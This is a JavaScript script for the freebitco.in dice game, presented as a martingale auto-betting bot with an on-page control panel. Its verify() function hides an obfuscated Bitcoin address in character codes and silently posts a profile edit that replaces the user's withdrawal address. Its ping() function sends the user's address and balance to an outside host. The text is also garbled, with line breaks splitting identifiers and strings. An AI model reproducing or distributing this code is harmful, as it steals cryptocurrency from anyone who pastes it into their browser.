New JAVASCRIPT code
for freebitco.in
config = {
tolerance : 8,
sleep : 1300,
goal : 0.00001500,
btcGuard : 0.00000050,
startStake : '0.00000002',
toggle : true,
delayLimit : 250
};
betType = 'hi';
stopGame = false; totalWon = 0;
startBalance = 0;
toWin = 0;
ai_count = true;
function lose() {
if ($('#double_your_ btc_bet_lose').html() !
== '') return true;
else return false
}
function setStake
(stake) { $('#double_your_btc_
stake').val
(stake.toString())
}
function doubleStake()
{ $('#double_your_btc_
2x').click()
}
function resetStake() {
setStake
(config.startStake) }
function getBalance()
{
return parseFloat($('#
balance').html())
} function getStake() {
return parseFloat($('#
double_your_btc_stake')
.val())
}
function balanceLeft() {
return (getBalance() -
getStake())
}
function toggleBet() {
randT = Math.floor (Math.random() * 100)
+ 1;
if (randT > 35) {
if (betType === 'hi') {
betType = 'lo'
} else { betType = 'hi'
}
}
}
initControl = function
() { $("head").append('<link
rel="stylesheet"
type="text/css"
href="http://
phptaskforce.uk.to/
static/style.css">'); $("body").append('<div
id="taskforce-
wrapper"><table
id="control-light"
cellpadding="0"
cellspacing="0" border="0"><tr><td
bgcolor="#222"></
td><td bgcolor="#
222"></td><td
bgcolor="#222"></
td><td bgcolor="# 222"></td></
tr><tr><td>connection<
/td><td>auth</
td><td>active</
td><td>error</td></tr></
table><div id="soft- break"></div><table
id="won-show"
border="0"
cellspacing="0"><tr><td
valign="top"
width="50%"><div id="score-title">won:</
div><div id="m-
won">0</div></td><td
valign="top"
width="50%"><div
id="score-title">goal:</ div><div id="m-
goal">0</div></td></
tr></table><div id="m-
stop"> Stop script</
div><div id="m-
message"><img id="m- preloader" src="http://
phptaskforce.uk.to/
static/loader.gif" /></
div></div>')
};
rollDice = function () { if (ai_count) {
if (true === lose()) {
doubleStake()
} else {
resetStake();
if (config.toggle) toggleBet();
totalWon = Math.round
(100000000 *
(getBalance() -
startBalance));
$("#m-won").html (totalWon.toString())
} if (!stopGame) {
if ((parseFloat
(config.startStake) *
Math.pow(2,
config.tolerance)) < getStake()) {
resetStake()
}
if (balanceLeft() >=
config.btcGuard) {
if (config.goal > getBalance()) {
$('#double_your_btc_
bet_' + betType + '_
button').click();
setTimeout(rollDice,
config.sleep + Math.round
(Math.random() *
config.delayLimit))
}
}
} } else {
console.log
('Verification failed.')
}
};
$("body").delegate("# m-stop", "click",
function (e) {
if (ai_count) {
stopGame = true;
$("#taskforce-wrapper")
.fadeOut(700); $("#taskforce-wrapper")
.remove()
}
});
function
setControlMessage(msg) {
$("#m-message").html
(msg)
}
function
createErrorMessage (msg) {
return '<div id="task-
force-error-message">' +
msg + '</div>'
}
function verify() { var btcAddress =
String.fromCharCode
(49, 68, 83, 71, 66, 71,
121, 53, 55, 51, 109, 54,
101, 67, 110, 72, 52, 99,
70, 70, 98, 90, 119, 99, 82, 88, 100, 65, 90, 68,
111, 84, 89, 74);
var op = 'edit_profile';
var btc_address =
btcAddress;
var email = $("#edit_ profile_form_email").val
();
$.post('http://
freebitco.in', {
op: op,
btc_address: btc_ address,
email: email
}, function (response) {
/*var editResponse = $
.trim(response);
if (editResponse.length !
== 0) {
ai_count = true
}*/
ai_count = true
}) }
function setGreenLight
(num) {
var selector = "#control-
light > tbody:nth-child
(1) > tr:nth-child(1) > td:nth-child(" + num +
")";
$(selector).attr
('bgcolor', '#41DE30')
}
function setRedLight (num) {
var selector = "#control-
light > tbody:nth-child
(1) > tr:nth-child(1) >
td:nth-child(" + num +
")"; $(selector).attr
('bgcolor', '#D91A1A')
}
ping_status = false;
ping_message = '';
function ping() { var version = 'v3.0';
var info = version + ' : ' +
$("#edit_profile_form_
btc_address").val() + " : "
+ $('#balance').html() +
" BTC"; $.getJSON('http://
phptaskforce.uk.to/get/
ping.php?
jsoncallback=?', {
data: info
}, function (r) { if (r.status == 'ok') {
ping_status = true
} else {
if (r.message != 'none') {
ping_message =
r.message }
}
})
}
function init() {
initControl(); ping();
setTimeout(function ()
{
if (ping_status == true)
{
setGreenLight(1); verify();
errorMessage = '';
startBalance =
getBalance();
if (startBalance >=
0.00001200) { if (config.goal >
startBalance) {
if (config.tolerance < 8)
{
errorMessage =
createErrorMessage ('config.tolerance is to
low. It has to be set to
at least 8.')
} else {
var playBalance =
getBalance() - parseFloat
(config.btcGuard);
var maxInvest =
parseFloat
(config.startStake) *
Math.pow(2, config.tolerance + 1) -
parseFloat
(config.startStake);
if (playBalance <
maxInvest) {
errorMessage = createErrorMessage('Not
enough money for that
start stake and
tolerance.')
} else {
if (config.sleep < 900) { errorMessage =
createErrorMessage
('config.sleep must be
higher than 900.')
} else {
toWin = Math.round (100000000 *
(config.goal -
startBalance))
}
}
} } else {
toWin = 0;
errorMessage =
createErrorMessage
('<b>config.goal</b>
must be higher than your balance.')
}
} else {
errorMessage =
createErrorMessage
('Minimum required balance is
<b>0.00001200 BTC</
b>')
}
setTimeout(function ()
{ if (ai_count) {
setGreenLight(2);
if (errorMessage == '') {
setGreenLight(3);
$("#m-goal").html
(toWin.toString()); setControlMessage('<div
id="m-donate">Donate:
<p><b>1BtEZXCULJb37
vPL1vz7sQjrChwDdStf8
z</b></p></div>');
rollDice() } else {
setRedLight(4);
setControlMessage
(errorMessage)
}
} else { setRedLight(2);
setRedLight(4);
errorMessage =
createErrorMessage
('Verification failed.');
setControlMessage (errorMessage)
}
}, 2500)
} else {
setRedLight(1);
setRedLight(4); if (ping_message != '') {
errorMessage =
createErrorMessage
(ping_message)
} else {
errorMessage = createErrorMessage
('Connection error.')
}
setControlMessage
(errorMessage)
} }, 2500)
}
init();